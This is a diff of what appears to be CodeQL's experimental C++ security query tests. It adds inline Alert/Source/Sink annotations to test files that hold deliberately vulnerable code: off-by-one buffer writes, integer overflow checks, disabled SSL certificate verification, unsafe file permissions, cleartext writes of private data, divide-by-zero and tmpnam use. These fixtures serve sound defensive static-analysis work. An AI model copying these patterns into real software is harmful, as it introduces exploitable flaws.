a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/test.cpp index 7c5ab91832e4..4734e1bba8d4 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/IfStatementAdditionOverflow/test.cpp @@ -15,49 +15,49 @@ void test() unsigned short b1 = getAnUnsignedShort(); unsigned short c1 = getAnUnsignedShort(); - if (a+b>c) a = c-b; // BAD - if (a+b>c) { a = c-b; } // BAD - if (b+a>c) a = c-b; // BAD - if (b+a>c) { a = c-b; } // BAD - if (c>a+b) a = c-b; // BAD - if (c>a+b) { a = c-b; } // BAD - if (c>b+a) a = c-b; // BAD - if (c>b+a) { a = c-b; } // BAD + if (a+b>c) a = c-b; // BAD // $ Alert + if (a+b>c) { a = c-b; } // BAD // $ Alert + if (b+a>c) a = c-b; // BAD // $ Alert + if (b+a>c) { a = c-b; } // BAD // $ Alert + if (c>a+b) a = c-b; // BAD // $ Alert + if (c>a+b) { a = c-b; } // BAD // $ Alert + if (c>b+a) a = c-b; // BAD // $ Alert + if (c>b+a) { a = c-b; } // BAD // $ Alert - if (a+b>=c) a = c-b; // BAD - if (a+b>=c) { a = c-b; } // BAD - if (b+a>=c) a = c-b; // BAD - if (b+a>=c) { a = c-b; } // BAD - if (c>=a+b) a = c-b; // BAD - if (c>=a+b) { a = c-b; } // BAD - if (c>=b+a) a = c-b; // BAD - if (c>=b+a) { a = c-b; } // BAD + if (a+b>=c) a = c-b; // BAD // $ Alert + if (a+b>=c) { a = c-b; } // BAD // $ Alert + if (b+a>=c) a = c-b; // BAD // $ Alert + if (b+a>=c) { a = c-b; } // BAD // $ Alert + if (c>=a+b) a = c-b; // BAD // $ Alert + if (c>=a+b) { a = c-b; } // BAD // $ Alert + if (c>=b+a) a = c-b; // BAD // $ Alert + if (c>=b+a) { a = c-b; } // BAD // $ Alert - if (a+bd) a = d-b; // BAD + if (a+b>d) a = d-b; // BAD // $ Alert if (a+(double)b>c) a = c-b; // GOOD if (a+(-x)>c) a = c-(-y); // GOOD if (a+b>c) { b++; a = c-b; } // GOOD if (a+d>c) a = c-d; // GOOD if (a1+b1>c1) a1 = c1-b1; // GOOD - if (a+b<=c) { /* ... */ } else { a = c-b; } // BAD - if (a+b<=c) { return; } a = c-b; // BAD + if (a+b<=c) { /* ... */ } else { a = c-b; } // BAD // $ Alert + if (a+b<=c) { return; } a = c-b; // BAD // $ Alert } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/ArrayAccessProductFlow.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/ArrayAccessProductFlow.qlref index 8186dd0721b7..0bcfeb909556 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/ArrayAccessProductFlow.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/ArrayAccessProductFlow.qlref @@ -1 +1,2 @@ -experimental/Likely Bugs/ArrayAccessProductFlow.ql +query: experimental/Likely Bugs/ArrayAccessProductFlow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/test.cpp index 12fc89470649..552b9070a30b 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/array-access/test.cpp @@ -1,13 +1,13 @@ char *malloc(int size); void test1(int size) { - char *arr = malloc(size); + char *arr = malloc(size); // $ Source for (int i = 0; i < size; i++) { arr[i] = 0; // GOOD } for (int i = 0; i <= size; i++) { - arr[i] = i; // BAD + arr[i] = i; // BAD // $ Alert } } @@ -18,7 +18,7 @@ typedef struct { array_t mk_array(int size) { array_t arr; - arr.p = malloc(size); + arr.p = malloc(size); // $ Source arr.size = size; return arr; @@ -32,7 +32,7 @@ void test2(int size) { } for (int i = 0; i <= arr.size; i++) { - arr.p[i] = i; // BAD + arr.p[i] = i; // BAD // $ Alert } } @@ -42,7 +42,7 @@ void test3_callee(array_t arr) { } for (int i = 0; i <= arr.size; i++) { - arr.p[i] = i; // BAD + arr.p[i] = i; // BAD // $ Alert } } @@ -52,7 +52,7 @@ void test3(int size) { void test4(int size) { array_t arr; - arr.p = malloc(size); + arr.p = malloc(size); // $ Source arr.size = size; for (int i = 0; i < arr.size; i++) { @@ -60,13 +60,13 @@ void test4(int size) { } for (int i = 0; i <= arr.size; i++) { - arr.p[i] = i; // BAD + arr.p[i] = i; // BAD // $ Alert } } array_t *mk_array_p(int size) { array_t *arr = (array_t*) malloc(sizeof(array_t)); - arr->p = malloc(size); + arr->p = malloc(size); // $ Source arr->size = size; return arr; @@ -80,7 +80,7 @@ void test5(int size) { } for (int i = 0; i <= arr->size; i++) { - arr->p[i] = i; // BAD + arr->p[i] = i; // BAD // $ Alert } } @@ -90,7 +90,7 @@ void test6_callee(array_t *arr) { } for (int i = 0; i <= arr->size; i++) { - arr->p[i] = i; // BAD + arr->p[i] = i; // BAD // $ Alert } } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.qlref index 082e8951c70d..3be7645c1a87 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-193/ConstantSizeArrayOffByOne.ql +query: experimental/Security/CWE/CWE-193/ConstantSizeArrayOffByOne.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/test.cpp index 03de927073a3..2c458170a51f 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/test.cpp @@ -32,60 +32,60 @@ void testOneArray(OneArray *arr) { void testBig(BigArray *arr) { arr->buf[MAX_SIZE-1] = 0; // GOOD - arr->buf[MAX_SIZE] = 0; // BAD - arr->buf[MAX_SIZE+1] = 0; // BAD + arr->buf[MAX_SIZE] = 0; // BAD // $ Alert + arr->buf[MAX_SIZE+1] = 0; // BAD // $ Alert for(int i = 0; i < MAX_SIZE; i++) { arr->buf[i] = 0; // GOOD } for(int i = 0; i <= MAX_SIZE; i++) { - arr->buf[i] = 0; // BAD + arr->buf[i] = 0; // BAD // $ Alert } } void testFields(ArrayAndFields *arr) { arr->buf[MAX_SIZE-1] = 0; // GOOD - arr->buf[MAX_SIZE] = 0; // BAD? - arr->buf[MAX_SIZE+1] = 0; // BAD? + arr->buf[MAX_SIZE] = 0; // BAD? // $ Alert + arr->buf[MAX_SIZE+1] = 0; // BAD? // $ Alert for(int i = 0; i < MAX_SIZE; i++) { arr->buf[i] = 0; // GOOD } for(int i = 0; i <= MAX_SIZE; i++) { - arr->buf[i] = 0; // BAD? + arr->buf[i] = 0; // BAD? // $ Alert } for(int i = 0; i < MAX_SIZE+2; i++) { - arr->buf[i] = 0; // BAD? + arr->buf[i] = 0; // BAD? // $ Alert } // is this different if it's a memcpy? } -void assignThroughPointer(int *p) { +void assignThroughPointer(int *p) { // $ Sink *p = 0; // ??? should the result go at a flow source? } void addToPointerAndAssign(int *p) { p[MAX_SIZE-1] = 0; // GOOD - p[MAX_SIZE] = 0; // BAD + p[MAX_SIZE] = 0; // BAD // $ Alert } void testInterproc(BigArray *arr) { assignThroughPointer(&arr->buf[MAX_SIZE-1]); // GOOD - assignThroughPointer(&arr->buf[MAX_SIZE]); // BAD + assignThroughPointer(&arr->buf[MAX_SIZE]); // BAD // $ Alert - addToPointerAndAssign(arr->buf); + addToPointerAndAssign(arr->buf); // $ Source } #define MAX_SIZE_BYTES 4096 void testCharIndex(BigArray *arr) { - char *charBuf = (char*) arr->buf; + char *charBuf = (char*) arr->buf; // $ Source charBuf[MAX_SIZE_BYTES - 1] = 0; // GOOD - charBuf[MAX_SIZE_BYTES] = 0; // BAD + charBuf[MAX_SIZE_BYTES] = 0; // BAD // $ Alert } void testEqRefinement() { @@ -125,7 +125,7 @@ void testStackAllocated() { char *arr[MAX_SIZE]; for(int i = 0; i <= MAX_SIZE; i++) { - arr[i] = 0; // BAD + arr[i] = 0; // BAD // $ Alert } } @@ -133,18 +133,18 @@ int strncmp(const char*, const char*, int); char testStrncmp2(char *arr) { if(strncmp(arr, "", 6) == 0) { - arr += 6; + arr += 6; // $ Alert } - return *arr; // GOOD [FALSE POSITIVE] + return *arr; // GOOD [FALSE POSITIVE] // $ Sink } void testStrncmp1() { char asdf[5]; - testStrncmp2(asdf); + testStrncmp2(asdf); // $ Source } void countdownBuf1(int **p) { - *--(*p) = 1; // GOOD [FALSE POSITIVE] + *--(*p) = 1; // GOOD [FALSE POSITIVE] // $ Sink *--(*p) = 2; // GOOD *--(*p) = 3; // GOOD *--(*p) = 4; // GOOD @@ -153,7 +153,7 @@ void countdownBuf1(int **p) { void countdownBuf2() { int buf[4]; - int *x = buf + 4; + int *x = buf + 4; // $ Alert countdownBuf1(&x); } @@ -215,10 +215,10 @@ int countdownLength2() { void pointer_size_larger_than_array_element_size() { unsigned char buffer[100]; // getByteSize() = 100 - int *ptr = (int *)buffer; // pai.getElementSize() will be sizeof(int) = 4 -> size = 25 + int *ptr = (int *)buffer; // pai.getElementSize() will be sizeof(int) = 4 -> size = 25 // $ Source ptr[24] = 0; // GOOD: writes bytes 96, 97, 98, 99 - ptr[25] = 0; // BAD: writes bytes 100, 101, 102, 103 + ptr[25] = 0; // BAD: writes bytes 100, 101, 102, 103 // $ Alert } struct vec2 { int x, y; }; @@ -226,10 +226,10 @@ struct vec3 { int x, y, z; }; void pointer_size_smaller_than_array_element_size_but_does_not_divide_it() { vec3 array[3]; // getByteSize() = 9 * sizeof(int) - vec2 *ptr = (vec2 *)array; // pai.getElementSize() will be 2 * sizeof(int) -> size = 4 + vec2 *ptr = (vec2 *)array; // pai.getElementSize() will be 2 * sizeof(int) -> size = 4 // $ Source ptr[3] = vec2{}; // GOOD: writes ints 6, 7 - ptr[4] = vec2{}; // BAD: writes ints 8, 9 + ptr[4] = vec2{}; // BAD: writes ints 8, 9 // $ Alert } void pointer_size_larger_than_array_element_size_and_does_not_divide_it() { @@ -258,7 +258,7 @@ void call_use(unsigned char* p, int n) { if(n == 3) { unsigned char x = p[0]; unsigned char y = p[1]; - unsigned char z = p[2]; // GOOD [FALSE POSITIVE]: `call_use(buffer2, 2)` won't reach this point. + unsigned char z = p[2]; // GOOD [FALSE POSITIVE]: `call_use(buffer2, 2)` won't reach this point. // $ Alert use(x, y, z); } } @@ -283,7 +283,7 @@ void test_call_use2() { call_call_use(buffer1,1); unsigned char buffer2[2]; - call_call_use(buffer2,2); + call_call_use(buffer2,2); // $ Source unsigned char buffer3[3]; call_call_use(buffer3,3); @@ -296,7 +296,7 @@ int guardingCallee(int *arr, int size) { int sum; for (int i = 0; i < size; i++) { - sum += arr[i]; // GOOD [FALSE POSITIVE] - guarded by size + sum += arr[i]; // GOOD [FALSE POSITIVE] - guarded by size // $ Alert } return sum; } @@ -306,7 +306,7 @@ int guardingCaller() { guardingCallee(arr1, MAX_SIZE); int arr2[10]; - guardingCallee(arr2, 10); + guardingCallee(arr2, 10); // $ Source } // simplified md5 padding @@ -319,10 +319,10 @@ void correlatedCondition(int num) { end = temp + 56; } else if (num < 64) { - end = temp + 64; // GOOD [FALSE POSITVE] + end = temp + 64; // GOOD [FALSE POSITVE] // $ Alert } char *temp2 = temp + num; - while(temp2 != end) { + while(temp2 != end) { // $ Sink *temp2 = 0; temp2++; } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/ExposureSensitiveInformationUnauthorizedActor.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/ExposureSensitiveInformationUnauthorizedActor.qlref index 0fa00ffe3abc..ff0854782f9d 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/ExposureSensitiveInformationUnauthorizedActor.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/ExposureSensitiveInformationUnauthorizedActor.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-200/ExposureSensitiveInformationUnauthorizedActor.ql +query: experimental/Security/CWE/CWE-200/ExposureSensitiveInformationUnauthorizedActor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/test.cpp index 6323d617ff13..a8df26ccae1e 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test1/test.cpp @@ -9,7 +9,7 @@ int main(int argc, char *argv[]) { //umask(0022); FILE *fp; - fp = fopen("myFile.txt","w"); // BAD + fp = fopen("myFile.txt","w"); // BAD // $ Alert //chmod("myFile.txt",0644); fprintf(fp,"%s\n","data to file"); fclose(fp); diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test2/ExposureSensitiveInformationUnauthorizedActor.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test2/ExposureSensitiveInformationUnauthorizedActor.qlref index 0fa00ffe3abc..ff0854782f9d 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test2/ExposureSensitiveInformationUnauthorizedActor.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test2/ExposureSensitiveInformationUnauthorizedActor.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-200/ExposureSensitiveInformationUnauthorizedActor.ql +query: experimental/Security/CWE/CWE-200/ExposureSensitiveInformationUnauthorizedActor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test3/ExposureSensitiveInformationUnauthorizedActor.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test3/ExposureSensitiveInformationUnauthorizedActor.qlref index 0fa00ffe3abc..ff0854782f9d 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test3/ExposureSensitiveInformationUnauthorizedActor.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-200/test3/ExposureSensitiveInformationUnauthorizedActor.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-200/ExposureSensitiveInformationUnauthorizedActor.ql +query: experimental/Security/CWE/CWE-200/ExposureSensitiveInformationUnauthorizedActor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/IncorrectChangingWorkingDirectory.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/IncorrectChangingWorkingDirectory.qlref index 6e5213404373..2689b2c1bc01 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/IncorrectChangingWorkingDirectory.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/IncorrectChangingWorkingDirectory.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-243/IncorrectChangingWorkingDirectory.ql +query: experimental/Security/CWE/CWE-243/IncorrectChangingWorkingDirectory.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/test.cpp index 24ff440d1400..5d5dddf6ef8c 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-243/semmle/tests/test.cpp @@ -9,7 +9,7 @@ int chdir(char *path); void exit(int status); int funTest1(){ - if (chroot("/myFold/myTmp") == -1) { // BAD + if (chroot("/myFold/myTmp") == -1) { // BAD // $ Alert exit(-1); } return 0; @@ -26,7 +26,7 @@ int funTest2(){ } int funTest3(){ - chdir("/myFold/myTmp"); // BAD + chdir("/myFold/myTmp"); // BAD // $ Alert return 0; } int main(int argc, char *argv[]) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/IncorrectPrivilegeAssignment.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/IncorrectPrivilegeAssignment.qlref index 9012747f4ba9..835b6c80fb1e 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/IncorrectPrivilegeAssignment.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/IncorrectPrivilegeAssignment.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-266/IncorrectPrivilegeAssignment.ql +query: experimental/Security/CWE/CWE-266/IncorrectPrivilegeAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/test.cpp index 57333e8f586e..85484793e98f 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-266/semmle/tests/test.cpp @@ -6,7 +6,7 @@ int fclose(FILE *stream); void funcTest1() { - umask(0666); // BAD + umask(0666); // BAD // $ Alert FILE *fe; fe = fopen("myFile.txt", "wt"); fclose(fe); @@ -27,7 +27,7 @@ void funcTest2(int mode) FILE *fe; fe = fopen("myFile.txt", "wt"); fclose(fe); - chmod("myFile.txt",0555-mode); // BAD + chmod("myFile.txt",0555-mode); // BAD // $ Alert } void funcTest2g(int mode) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/PamAuthorization.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/PamAuthorization.qlref index f1135f7d536a..77270c3533aa 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/PamAuthorization.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/PamAuthorization.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-285/PamAuthorization.ql +query: experimental/Security/CWE/CWE-285/PamAuthorization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/test.cpp index e2753f10775e..eb6628850ea0 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-285/test.cpp @@ -26,7 +26,7 @@ bool PamAuthBad(const std::string &username_in, return false; } - err = pam_authenticate(pamh, 0); + err = pam_authenticate(pamh, 0); // $ Alert if (err != PAM_SUCCESS) return err; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.cpp index 60a34889e05b..451ce5423e64 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.cpp @@ -22,8 +22,8 @@ char host[] = "codeql.com"; void bad(void) { std::unique_ptr curl = std::unique_ptr(curl_easy_init()); - curl_easy_setopt(curl.get(), CURLOPT_SSL_VERIFYPEER, 0); - curl_easy_setopt(curl.get(), CURLOPT_SSL_VERIFYHOST, 0); + curl_easy_setopt(curl.get(), CURLOPT_SSL_VERIFYPEER, 0); // $ Alert + curl_easy_setopt(curl.get(), CURLOPT_SSL_VERIFYHOST, 0); // $ Alert curl_easy_setopt(curl.get(), CURLOPT_URL, host); curl_easy_perform(curl.get()); } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.qlref index 6b09ac53c9b7..e2dd11da1e8e 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-295/CurlSSL.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-295/CurlSSL.ql +query: experimental/Security/CWE/CWE-295/CurlSSL.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.qlref index 65c8c9c2dd4c..0952582b4064 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-359/PrivateCleartextWrite.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-359/PrivateCleartextWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/test.cpp index 4d69ee5b2b72..b123603654c0 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/test.cpp @@ -54,7 +54,7 @@ void file() FILE *file; // BAD: write zipcode to file in cleartext - fputs(theZipcode, file); + fputs(theZipcode, file); // $ Alert // GOOD: encrypt first char *encrypted = encrypt(theZipcode); @@ -71,15 +71,15 @@ int main(int argc, char **argv) char *buff4; // BAD: write medical to buffer in cleartext - sprintf(buff1, "%s", medical); + sprintf(buff1, "%s", medical); // $ Alert Source // BAD: write medical to buffer in cleartext - char *temp = medical; - sprintf(buff2, "%s", temp); + char *temp = medical; // $ Source + sprintf(buff2, "%s", temp); // $ Alert // BAD: write medical to buffer in cleartext - char *buff5 = func(medical); - sprintf(buff3, "%s", buff5); + char *buff5 = func(medical); // $ Source + sprintf(buff3, "%s", buff5); // $ Alert char *buff6 = encrypt(medical); // GOOD: encrypt first @@ -93,10 +93,10 @@ void stream() ofstream mystream; // BAD: write zipcode to file in cleartext - mystream << "the zipcode is: " << theZipcode; + mystream << "the zipcode is: " << theZipcode; // $ Alert Source // BAD: write zipcode to file in cleartext - (mystream << "the zipcode is: ").write(theZipcode, strlen(theZipcode)); + (mystream << "the zipcode is: ").write(theZipcode, strlen(theZipcode)); // $ Alert // GOOD: encrypt first char *encrypted = encrypt(theZipcode); diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/DivideByZeroUsingReturnValue.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/DivideByZeroUsingReturnValue.qlref index e134a5229da1..77407cfd8254 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/DivideByZeroUsingReturnValue.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/DivideByZeroUsingReturnValue.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-369/DivideByZeroUsingReturnValue.ql +query: experimental/Security/CWE/CWE-369/DivideByZeroUsingReturnValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/test.cpp index 882f66184854..3ea20ea8c44d 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-369/semmle/tests/test.cpp @@ -44,13 +44,13 @@ int getSize2(int type) { int badTestf1(int type, int met) { int is = getSize(type); - if (met == 1) return 123 / is; // BAD - else return 123 / getSize2(type); // BAD + if (met == 1) return 123 / is; // BAD // $ Alert + else return 123 / getSize2(type); // BAD // $ Alert } int badTestf2(int type) { int is; is = getSize(type); - return 123 / is; // BAD + return 123 / is; // BAD // $ Alert } int badTestf3(int type, int met) { @@ -62,23 +62,23 @@ int badTestf3(int type, int met) { case 2: if (0 == is) return 123 / is; // BAD [NOT DETECTED] case 3: - if (!is & 123 / is) // BAD + if (!is & 123 / is) // BAD // $ Alert return 123; case 4: - if (!is | 123 / is) // BAD + if (!is | 123 / is) // BAD // $ Alert return 123; case 5: - if (123 / is || !is) // BAD + if (123 / is || !is) // BAD // $ Alert return 123; case 6: - if (123 / is && !is) // BAD + if (123 / is && !is) // BAD // $ Alert return 123; case 7: - if (!is) return 123 / is; // BAD + if (!is) return 123 / is; // BAD // $ Alert case 8: - if (is > -1) return 123 / is; // BAD + if (is > -1) return 123 / is; // BAD // $ Alert case 9: - if (is < 2) return 123 / is; // BAD + if (is < 2) return 123 / is; // BAD // $ Alert } if (is != 0) return -1; if (is == 0) type += 1; @@ -125,20 +125,20 @@ int badTestf4(int type) { int is = getSize(type); int d; d = type * is; - return 123 / d; // BAD + return 123 / d; // BAD // $ Alert } int badTestf5(int type) { int is = getSize(type); int d; d = is / type; - return 123 / d; // BAD + return 123 / d; // BAD // $ Alert } int badTestf6(int type) { int is = getSize(type); int d; d = is / type; - return type * 123 / d; // BAD + return type * 123 / d; // BAD // $ Alert } int badTestf7(int type, int met) { @@ -150,7 +150,7 @@ int badTestf7(int type, int met) { return 123 / is; // GOOD } quit: - return 123 / is; // BAD + return 123 / is; // BAD // $ Alert } int goodTestf7(int type, int met) { @@ -169,8 +169,8 @@ int goodTestf7(int type, int met) { int badTestf8(int type) { int is = getSize(type); - type /= is; // BAD - type %= is; // BAD + type /= is; // BAD // $ Alert + type %= is; // BAD // $ Alert return type; } @@ -184,7 +184,7 @@ float getSizeFloat(float type) { } float badTestf9(float type) { float is = getSizeFloat(type); - return 123 / is; // BAD + return 123 / is; // BAD // $ Alert } float goodTestf9(float type) { float is = getSizeFloat(type); @@ -196,18 +196,18 @@ int badTestf10(int type) { int out = type; int is = getSize(type); if (is > -2) { - out /= 123 / (is + 1); // BAD + out /= 123 / (is + 1); // BAD // $ Alert } if (is > 0) { - return 123 / (is - 1); // BAD + return 123 / (is - 1); // BAD // $ Alert } if (is <= 0) return 0; - return 123 / (is - 1); // BAD + return 123 / (is - 1); // BAD // $ Alert return 0; } int badTestf11(int type) { int is = getSize(type); - return 123 / (is - 3); // BAD + return 123 / (is - 3); // BAD // $ Alert } int goodTestf11(int type) { @@ -255,12 +255,12 @@ int badMySubDiv(int type, int is) { void badTestf13(int type) { int is = getSize(type); - badMyDiv(type, is); // BAD - badMyDiv(type, is - 2); // BAD - badMySubDiv(type, is); // BAD + badMyDiv(type, is); // BAD // $ Alert + badMyDiv(type, is - 2); // BAD // $ Alert + badMySubDiv(type, is); // BAD // $ Alert goodMyDiv(type, is); // GOOD if (is < 5) - badMySubDiv(type, is); // BAD + badMySubDiv(type, is); // BAD // $ Alert if (is < 0) badMySubDiv(type, is); // BAD [NOT DETECTED] if (is > 5) @@ -270,9 +270,9 @@ void badTestf13(int type) { if (is > 0) badMyDiv(type, is); // GOOD if (is < 5) - badMyDiv(type, is - 3); // BAD + badMyDiv(type, is - 3); // BAD // $ Alert if (is < 0) - badMyDiv(type, is + 1); // BAD + badMyDiv(type, is + 1); // BAD // $ Alert if (is > 5) badMyDiv(type, is - 3); // GOOD } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/InsecureTemporaryFile.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/InsecureTemporaryFile.qlref index beec38ab5dc6..d4fa44200b10 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/InsecureTemporaryFile.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/InsecureTemporaryFile.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-377/InsecureTemporaryFile.ql +query: experimental/Security/CWE/CWE-377/InsecureTemporaryFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/test.cpp index 07efea49e784..9adc5304984c 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-377/semmle/tests/test.cpp @@ -13,7 +13,7 @@ int fclose(FILE *stream); int funcTest1() { FILE *fp; - char *filename = tmpnam(NULL); // BAD + char *filename = 